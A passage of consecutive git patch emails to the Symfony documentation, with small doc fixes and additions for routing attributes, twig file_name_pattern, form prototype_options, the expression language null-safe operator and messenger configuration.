-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger>
-                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
-                    </framework:transport>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $messenger = $framework->messenger();
-
-            $messenger->resetOnMessage(true);
-        };
+    In Symfony versions previous to 6.1, the service container didn't reset
+    automatically between messages and you had to set the
+    ``framework.messenger.reset_on_message`` option to ``true``.
 
 .. _messenger-retries-failures:
 

From e0b892bfd080bb078aa8eb70591a125200cee779 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Mar 2022 17:30:56 +0100
Subject: [PATCH 3117/7107] [Routing] Add the 'attribute' value in routing
 annotation loaders

---
 configuration/micro_kernel_trait.rst |  5 +++--
 routing/custom_route_loader.rst      | 10 +++++++++-
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 66e9aae2bbe..6a2c6a6375a 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -181,8 +181,9 @@ hold the kernel. Now it looks like this::
                 $routes->import('@WebProfilerBundle/Resources/config/routing/profiler.xml')->prefix('/_profiler');
             }
 
-            // load the annotation routes
-            $routes->import(__DIR__.'/Controller/', 'annotation');
+            // load the routes defined as PHP attributes
+            // (use 'annotation' as the second argument if you define routes as annotations)
+            $routes->import(__DIR__.'/Controller/', 'attribute');
         }
 
         // optional, to use the standard Symfony cache directory
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index c9b2853088a..2bbc4deff0f 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -70,7 +70,10 @@ Symfony provides several route loaders for the most common needs:
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
-            // loads routes from the PHP annotations of the controllers found in that directory
+            // loads routes from the PHP attributes (#[Route(...)]) of the controllers found in that directory
+            $routes->import('../src/Controller/', 'attribute');
+
+            // loads routes from the PHP annotations (@Route(...)) of the controllers found in that directory
             $routes->import('../src/Controller/', 'annotation');
 
             // loads routes from the YAML or XML files found in that directory
@@ -80,6 +83,11 @@ Symfony provides several route loaders for the most common needs:
             $routes->import('@AcmeOtherBundle/Resources/config/routing/', 'directory');
         };
 
+.. versionadded:: 6.1
+
+    The ``attribute`` value of the second argument of ``import()`` was introduced
+    in Symfony 6.1.
+
 .. note::
 
     When importing resources, the key (e.g. ``app_file``) is the name of the collection.

From d106d63da931f623ecff146aea0af45b253238ba Mon Sep 17 00:00:00 2001
From: Manuel Transfeld <auipga@users.noreply.github.com>
Date: Fri, 25 Mar 2022 15:25:04 +0100
Subject: [PATCH 3118/7107] Fix minor typo

---
 setup/upgrade_major.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index a9381d49854..af6544e3849 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -237,7 +237,7 @@ method:
 
 The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
 env var. The value of this env var is url-encoded (e.g.
-``param1=value2&param2=value2``), the following parameters are available:
+``param1=value1&param2=value2``), the following parameters are available:
 
 ``force``
     Enables fixing return types, the value must be one of:

From 85b5b9d42944ef10f972c9998d3b6d9aeb3b2840 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 15:56:21 +0100
Subject: [PATCH 3119/7107] Fix minor typo

---
 setup/upgrade_major.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index f2cffe9679c..49fc1acf192 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -241,7 +241,7 @@ method:
 
 The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
 env var. The value of this env var is url-encoded (e.g.
-``param1=value2&param2=value2``), the following parameters are available:
+``param1=value1&param2=value2``), the following parameters are available:
 
 ``force``
     Enables fixing return types, the value must be one of:

From 5e159d7ab8549afa24eeea5b75f7d19e910f0ad8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 16:57:51 +0100
Subject: [PATCH 3120/7107] Tweaks

---
 routing.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 74e3a7fee02..877f21b87cc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -370,6 +370,8 @@ arbitrary matching logic:
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
             # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
+            # expressions can even use environment variables:
+            # condition: "context.getHost() == env('APP_MAIN_HOST')"
 
     .. code-block:: xml
 
@@ -384,6 +386,8 @@ arbitrary matching logic:
                 <condition>context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'</condition>
                 <!-- expressions can also include configuration parameters: -->
                 <!-- <condition>request.headers.get('User-Agent') matches '%app.allowed_browsers%'</condition> -->
+                <!-- expressions can even use environment variables: -->
+                <!-- <condition>context.getHost() == env('APP_MAIN_HOST')</condition> -->
             </route>
         </routes>
 
@@ -398,7 +402,9 @@ arbitrary matching logic:
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
                 // expressions can also include configuration parameters:
-                // 'request.headers.get("User-Agent") matches "%app.allowed_browsers%"'
+                // ->condition('request.headers.get("User-Agent") matches "%app.allowed_browsers%"')
+                // expressions can even use environment variables:
+                // ->condition('context.getHost() == env("APP_MAIN_HOST")')
             ;
         };
 
@@ -414,10 +420,10 @@ and can use any of these variables created by Symfony:
     The :ref:`Symfony Request <component-http-foundation-request>` object that
     represents the current request.
 
-Additionnal functions are provided:
+You can also use this function:
 
 ``env(string $name)``
-    Read a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
+    Returns the value of a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
 
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes

From ab67a3f3e7fd73b6029c5ca5e7a8b8a4fabdcbad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 17:30:00 +0100
Subject: [PATCH 3121/7107] Added the versionadded directive

---
 components/messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 99946b72b7e..17586282221 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -163,7 +163,11 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
    to configure the validation groups used when the validation middleware is enabled.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
-   an internal stamp when a messages fails due to an exception in the handler.
+   an internal stamp when a message fails due to an exception in the handler.
+
+.. versionadded:: 5.2
+
+    The ``ErrorDetailsStamp`` stamp was introduced in Symfony 5.2.
 
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::

From 14badd3649cc7d9e35ce6c9a98f8d0d00e1f3c81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Mar 2022 17:30:45 +0100
Subject: [PATCH 3122/7107] Remove the versionadded directive

---
 components/messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 17586282221..7ca24d02ec3 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -165,10 +165,6 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
    an internal stamp when a message fails due to an exception in the handler.
 
-.. versionadded:: 5.2
-
-    The ``ErrorDetailsStamp`` stamp was introduced in Symfony 5.2.
-
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::
 

From 61b1e4cb6e455cd095936393fd0586a6865f301b Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Thu, 27 Jan 2022 08:58:19 +0200
Subject: [PATCH 3123/7107] [Notifier] [Sendberry] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 0106094892f..d96e771be36 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -75,6 +75,7 @@ Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@defau
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
@@ -91,7 +92,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 6.1
 
-    The 46elks, OrangeSms and KazInfoTeh integrations were introduced in Symfony 6.1.
+    The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 274053351d008608e59b5b0c7a7cc22aecf69c37 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Sun, 27 Mar 2022 22:05:10 +0200
Subject: [PATCH 3124/7107] [Security] fix method name in
 custom_authenticator.rst

---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index fc2487c0caf..f75cb8df444 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -350,7 +350,7 @@ Passport Attributes
 
 Besides badges, passports can define attributes, which allows the ``authenticate()``
 method to store arbitrary information in the passport to access it from other
-authenticator methods (e.g. ``createAuthenticatedToken()``)::
+authenticator methods (e.g. ``createToken()``)::
 
     // ...
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
@@ -371,7 +371,7 @@ authenticator methods (e.g. ``createAuthenticatedToken()``)::
             return $passport;
         }
 
-        public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+        public function createToken(PassportInterface $passport, string $firewallName): TokenInterface
         {
             // read the attribute value
             return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From b39f0de537a9c69b43baa7c678cf30684d44216b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Mar 2022 11:32:22 +0200
Subject: [PATCH 3125/7107] Fix a code example about embedding images in emails
 with CSS styles

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 8b4f6d6678b..861c1d1d677 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -472,7 +472,7 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
 
         // use the same syntax for images included as CSS background images
-        ->html('... <div style="background-image: url(cid:footer-signature)"> ... </div> ...')
+        ->html('... <div style="background: url(cid:footer-signature)"> ... </div> ...')
     ;
 
 .. versionadded:: 6.1

From 868e311329d3f4a1e5d794bda220e5b599b03993 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Mar 2022 11:51:18 +0200
Subject: [PATCH 3126/7107] Fix the previous commit

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 861c1d1d677..f94f367265b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -471,13 +471,13 @@ images inside the HTML contents::
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
 
-        // use the same syntax for images included as CSS background images
-        ->html('... <div style="background: url(cid:footer-signature)"> ... </div> ...')
+        // use the same syntax for images included as HTML background images
+        ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
 .. versionadded:: 6.1
 
-    The support of embedded images as CSS backgrounds was introduced in Symfony 6.1.
+    The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
 
 .. _mailer-configure-email-globally:
 

From 4cf3e063f5367cac08cfe027321cecaa46618e07 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 28 Mar 2022 18:21:03 +0200
Subject: [PATCH 3127/7107] [Validator] Improve Image constraint invalid mime
 type message

---
 reference/constraints/Image.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 408341427db..3beec73cdd1 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -442,7 +442,7 @@ You can find a list of existing image mime types on the `IANA website`_.
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``This file is not a valid image.``
+**type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
 ``minHeight``
 ~~~~~~~~~~~~~

From 69d9bed9a621d54b00dd1f6981419f1c9ff70040 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?St=C3=A9phane=20P?= <n3wborn@protonmail.com>
Date: Sat, 2 Apr 2022 20:46:10 +0200
Subject: [PATCH 3128/7107] [HttpFoundation] replace attributes with query

Fix: https://github.com/symfony/symfony-docs/issues/16678
---
 create_framework/front_controller.rst | 6 +++---
 create_framework/http_foundation.rst  | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index 3480ee7a40e..fded71a7b1c 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -38,7 +38,7 @@ Let's see it in action::
     // framework/index.php
     require_once __DIR__.'/init.php';
 
-    $name = $request->attributes->get('name', 'World');
+    $name = $request->query->get('name', 'World');
 
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
     $response->send();
@@ -98,7 +98,7 @@ Such a script might look like the following::
 And here is for instance the new ``hello.php`` script::
 
     // framework/hello.php
-    $name = $request->attributes->get('name', 'World');
+    $name = $request->query->get('name', 'World');
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
 In the ``front.php`` script, ``$map`` associates URL paths with their
@@ -190,7 +190,7 @@ And the ``hello.php`` script can now be converted to a template:
 .. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
-    <?php $name = $request->attributes->get('name', 'World') ?>
+    <?php $name = $request->query->get('name', 'World') ?>
 
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index e6a5c8b2714..dd838e9a5e2 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -141,7 +141,7 @@ Now, let's rewrite our application by using the ``Request`` and the
 
     $request = Request::createFromGlobals();
 
-    $name = $request->attributes->get('name', 'World');
+    $name = $request->query->get('name', 'World');
 
     $response = new Response(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 

From 233f37aa5136b3a068c836a54a4809d736e79356 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Fri, 1 Apr 2022 22:52:09 +0200
Subject: [PATCH 3129/7107] Doc for config twig.file_name_pattern

---
 reference/configuration/twig.rst | 58 ++++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 8ac4068517e..64e55305742 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -166,6 +166,64 @@ The path to the directory where Symfony will look for the application Twig
 templates by default. If you store the templates in more than one directory, use
 the :ref:`paths <config-twig-paths>`  option too.
 
+.. _config-twig-file-name-pattern:
+
+file_name_pattern
+~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` or ``array`` of ``string`` **default**: ``[]``
+
+Name pattern of the Twig files in the template directories. The value can be a regexp,
+a glob, or a string. This is used by the commands ``lint:twig`` and ``cache:warmup``
+to find template files in all the configured paths.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            file_name_pattern: ['*.twig', 'specific_file.html']
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <twig:file-name-pattern>*.twig</twig:file-name-pattern>
+                <twig:file-name-pattern>specific_file.html</twig:file-name-pattern>
+                <!-- ... -->
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->fileNamePattern([
+                '*.twig',
+                'specific_file.html',
+            ]);
+
+            // ...
+        };
+
+.. note::
+
+    By default, if the option is not set, the lint command filters on ``*.twig`` files.
+    The cache warmer does not filter on file names and tries to compile all the
+    files in the template directories; ignoring compilation errors.
+
 .. _config-twig-form-themes:
 
 form_themes

From ec76b6aae824c14d0bf647a19abe10aabc281a6b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Sat, 2 Apr 2022 20:40:32 +0200
Subject: [PATCH 3130/7107] [Form] Add new prototype_options

---
 reference/forms/types/collection.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c5572f93c6b..9b00ab9a5bc 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -303,6 +303,29 @@ type::
         ],
     ]);
 
+prototype_options
+~~~~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+This is the array that's passed to the form type specified in the `entry_type`_
+option when creating its prototype. It allows to have different options depending
+on whether you are adding a new entry or editing an existing entry.
+
+    use Symfony\Component\Form\Extension\Core\Type\CollectionType;
+    use Symfony\Component\Form\Extension\Core\Type\TextType;
+    // ...
+
+    $builder->add('names', CollectionType::class, [
+        'entry_type'   => TextType::class,
+        'entry_options'  => [
+            'help'  => 'You can edit this name here.',
+        ],
+        'prototype_options'  => [
+            'help'  => 'You can enter a new name here.',
+        ],
+    ]);
+
 entry_type
 ~~~~~~~~~~
 

From 7569cf461537894b13d4786dea4c9361082f20b1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Apr 2022 08:49:44 +0200
Subject: [PATCH 3131/7107] Minor tweaks

---
 reference/forms/types/collection.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 9b00ab9a5bc..a6909e22377 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -308,6 +308,10 @@ prototype_options
 
 **type**: ``array`` **default**: ``[]``
 
+.. versionadded:: 6.1
+
+    The ``prototype_options`` option was introduced in Symfony 6.1.
+
 This is the array that's passed to the form type specified in the `entry_type`_
 option when creating its prototype. It allows to have different options depending
 on whether you are adding a new entry or editing an existing entry.
@@ -317,12 +321,12 @@ on whether you are adding a new entry or editing an existing entry.
     // ...
 
     $builder->add('names', CollectionType::class, [
-        'entry_type'   => TextType::class,
-        'entry_options'  => [
-            'help'  => 'You can edit this name here.',
+        'entry_type' => TextType::class,
+        'entry_options' => [
+            'help' => 'You can edit this name here.',
         ],
         'prototype_options'  => [
-            'help'  => 'You can enter a new name here.',
+            'help' => 'You can enter a new name here.',
         ],
     ]);
 

From f153ae472824c5388417b1f551cf731d12314e2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Apr 2022 10:15:38 +0200
Subject: [PATCH 3132/7107] Reword

---
 reference/configuration/twig.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 64e55305742..f0afefc533c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -173,9 +173,21 @@ file_name_pattern
 
 **type**: ``string`` or ``array`` of ``string`` **default**: ``[]``
 
-Name pattern of the Twig files in the template directories. The value can be a regexp,
-a glob, or a string. This is used by the commands ``lint:twig`` and ``cache:warmup``
-to find template files in all the configured paths.
+.. versionadded:: 6.1
+
+    The ``file_name_pattern`` option was introduced in Symfony 6.1.
+
+Some applications store their front-end assets in the same directory as Twig
+templates. The ``lint:twig`` command filters those files to only lint the ones
+that match the ``*.twig`` filename pattern.
+
+However, the ``cache:warmup`` command tries to compile all files, including
+non-Twig templates (and it ignores compilation errors). The result is an
+unnecessary consumption of CPU and disk resources.
+
+In those cases, use this option to define the filename pattern(s) of the files
+that are Twig templates (the rest of files will be ignored by ``cache:warmup``).
+The value of this option can be a regular expression, a glob, or a string:
 
 .. configuration-block::
 
@@ -218,12 +230,6 @@ to find template files in all the configured paths.
             // ...
         };
 
-.. note::
-
-    By default, if the option is not set, the lint command filters on ``*.twig`` files.
-    The cache warmer does not filter on file names and tries to compile all the
-    files in the template directories; ignoring compilation errors.
-
 .. _config-twig-form-themes:
 
 form_themes

From 23bf15d59a8e6908ab4260a3aafcc5ae062bb3d5 Mon Sep 17 00:00:00 2001
From: Sofien NAAS <sofien.naas@sofrecom.com>
Date: Sun, 20 Mar 2022 13:15:29 +0100
Subject: [PATCH 3133/7107] [ExpressionLanguage] Add support for Nullsafe
 syntax for accessing object's properties and methods.

---
 components/expression_language/syntax.rst | 36 +++++++++++++++++++++++
 1 file changed, 36 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 4d1f474008d..6ca2b0d6dbd 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -102,6 +102,42 @@ JavaScript::
 
 This will print out ``Hi Hi Hi!``.
 
+Nullsafe operator
+~~~~~~~~~~~~~~~~~
+
+Working with mutable objects can be, sometimes, error prone.
+The ``?.`` syntax can help avoid unnecessary and redundant checks
+when trying to access properties or methods on an object with dynamic structure::
+
+    class Apple
+    {
+        public $variety;
+    }
+
+    $apple = new Apple();
+    $apple->variety = 'Honeycrisp';
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit?.color',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+This will print out ``null`` instead of throwing an ``Exception``.
+
+Similarly::
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit?.eatMe()',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+Will print out ``null`` since the method ``eatMe()`` we trying to access
+on the same ``Apple`` object does not exist.
+
 .. _component-expression-functions:
 
 Working with Functions

From 835d083e97d9cfd14f102411cb9a998e7abd0860 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Apr 2022 17:43:15 +0200
Subject: [PATCH 3134/7107] Reword

---
 components/expression_language/syntax.rst | 43 +++++++----------------
 1 file changed, 13 insertions(+), 30 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 6ca2b0d6dbd..adfbb7474d1 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -102,41 +102,24 @@ JavaScript::
 
 This will print out ``Hi Hi Hi!``.
 
-Nullsafe operator
-~~~~~~~~~~~~~~~~~
+Null-safe Operator
+~~~~~~~~~~~~~~~~~~
 
-Working with mutable objects can be, sometimes, error prone.
-The ``?.`` syntax can help avoid unnecessary and redundant checks
-when trying to access properties or methods on an object with dynamic structure::
+Use the ``?.`` syntax to access properties and methods of objects that can be
+``null`` (this is equivalent to the ``$object?->propertyOrMethod`` PHP null-safe
+operator)::
 
-    class Apple
-    {
-        public $variety;
-    }
+    // these will throw an exception when `fruit` is `null`
+    $expressionLanguage->evaluate('fruit.color', ['fruit' => '...'])
+    $expressionLanguage->evaluate('fruit.getStock()', ['fruit' => '...'])
 
-    $apple = new Apple();
-    $apple->variety = 'Honeycrisp';
+    // these will return `null` if `fruit` is `null`
+    $expressionLanguage->evaluate('fruit?.color', ['fruit' => '...'])
+    $expressionLanguage->evaluate('fruit?.getStock()', ['fruit' => '...'])
 
-    var_dump($expressionLanguage->evaluate(
-        'fruit?.color',
-        [
-            'fruit' => $apple,
-        ]
-    ));
-
-This will print out ``null`` instead of throwing an ``Exception``.
-
-Similarly::
-
-    var_dump($expressionLanguage->evaluate(
-        'fruit?.eatMe()',
-        [
-            'fruit' => $apple,
-        ]
-    ));
+.. versionadded:: 6.1
 
-Will print out ``null`` since the method ``eatMe()`` we trying to access
-on the same ``Apple`` object does not exist.
+    The null safe operator was introduced in Symfony 6.1.
 
 .. _component-expression-functions:
 

From bd41d26f1300665f4459f0d203c30b45e917acf6 Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Mon, 4 Apr 2022 20:49:39 +0300
Subject: [PATCH 3135/7107] Minor fixes in partial denormalizing

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 8cfbc5d4927..acd7de09d6a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1248,7 +1248,7 @@ collect all exceptions at once, and to get the object partially denormalized::
         ]);
     } catch (PartialDenormalizationException $e) {
         $violations = new ConstraintViolationList();
-        /** @var NotNormalizableValueException */
+        /** @var NotNormalizableValueException $exception */
         foreach ($e->getErrors() as $exception) {
             $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
             $parameters = [];
@@ -1256,7 +1256,7 @@ collect all exceptions at once, and to get the object partially denormalized::
                 $parameters['hint'] = $exception->getMessage();
             }
             $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
-        };
+        }
 
         return $this->json($violations, 400);
     }

From 07bce89fe688c15f18a8580baa7b7c61d5ff2b7c Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 5 Apr 2022 15:13:19 +0200
Subject: [PATCH 3136/7107] add note how to avoid amqp queues autocreation

---
 messenger.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/messenger.rst b/messenger.rst
index afb3426e7d4..e900ae832c7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1193,6 +1193,7 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
+    To not autocreate any queues, you can configure a transport with `queues: []`.
 
 .. note::
 

From 3b6ade97b409401ade5c95f87e1a581f2b5eb89b Mon Sep 17 00:00:00 2001
From: Norbert Schultheisz <schultheisz.norbert@webshippy.com>
Date: Wed, 6 Apr 2022 07:28:02 +0000
Subject: [PATCH 3137/7107] Revert "[Messenger] Redis Sentinel support"

This reverts commit c4fe71f03557c8c847557f569337bfc3dd6db729.
---
 messenger.rst | 78 +++++++++++++++++++++------------------------------
 1 file changed, 32 insertions(+), 46 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index afb3426e7d4..f5d2277a93d 100644
--- a/messenger.rst
